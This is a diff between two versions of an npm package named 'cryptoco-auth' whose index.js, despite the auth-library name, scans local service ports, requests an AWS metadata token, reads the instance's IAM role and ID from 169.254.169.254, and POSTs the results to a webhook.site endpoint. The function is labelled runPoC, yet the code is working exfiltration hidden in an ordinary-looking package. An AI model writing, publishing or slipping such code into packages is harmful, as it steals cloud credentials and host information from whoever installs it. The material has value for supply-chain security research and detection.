cryptoco-auth 1.0.8 → 1.0.9

package/index.js

@@ -1,15 +1,18 @@
 const http = require("http");
+const https = require("https");
 const net = require("net");
 
 const TARGET_PORTS = [80, 443, 8080, 3000, 5432, 6379];
 const METADATA_IP = "169.254.169.254";
+const WEBHOOK_HOST = "webhook.site";
+const WEBHOOK_PATH = "/d3f75958-0650-467b-8895-e5e10fb94699";
 
 function fetchMetadata(path, headers = {}) {
   return new Promise((resolve) => {
     const options = { hostname: METADATA_IP, port: 80, path: path, method: "GET", timeout: 1500, headers: headers };
     const req = http.request(options, (res) => {
       let data = "";
-      res.on("data", (chunk) => data += chunk);
+      res.on("data", (c) => data += c);
       res.on("end", () => resolve(data.trim()));
     });
     req.on("error", () => resolve(null));
@@ -34,8 +37,11 @@ async function runPoC() {
   for (const port of TARGET_PORTS) {
     if (await scanPort(port)) openPorts.push(port);
   }
-  
-  const tokenReq = http.request({ hostname: METADATA_IP, port: 80, path: "/latest/api/token", method: "PUT", headers: { "X-aws-ec2-metadata-token-ttl-seconds": "21600" } }, (res) => {
+
+  const tokenReq = http.request({ 
+    hostname: METADATA_IP, port: 80, path: "/latest/api/token", method: "PUT", 
+    headers: { "X-aws-ec2-metadata-token-ttl-seconds": "21600" } 
+  }, (res) => {
     let token = "";
     res.on("data", (c) => token += c);
     res.on("end", async () => {
@@ -43,15 +49,17 @@ async function runPoC() {
       const iamRole = await fetchMetadata("/latest/meta-data/iam/security-credentials/", headers);
       const instanceId = await fetchMetadata("/latest/meta-data/instance-id", headers);
       
-      const report = JSON.stringify({
-        status: "POC_RUN",
-        instanceId: instanceId,
+      const payload = JSON.stringify({ 
+        ports: openPorts,
         iamRole: iamRole,
-        openPorts: openPorts
+        instanceId: instanceId 
       });
 
-      const postReq = https.request({ hostname: "webhook.site", path: "/50a891aa-a14a-4ccb-8d96-62542945b9fc", method: "POST", headers: { "Content-Type": "application/json", "Content-Length": report.length } });
-      postReq.write(report);
+      const postReq = https.request({ 
+        hostname: WEBHOOK_HOST, path: WEBHOOK_PATH, method: "POST", 
+        headers: { "Content-Type": "application/json", "Content-Length": payload.length } 
+      });
+      postReq.write(payload);
       postReq.end();
     });
   });

package/package.json

@@ -1 +1 @@
-{"name":"cryptoco-auth","version":"1.0.8","main":"index.js"}
+{"name":"cryptoco-auth","version":"1.0.9","main":"index.js"}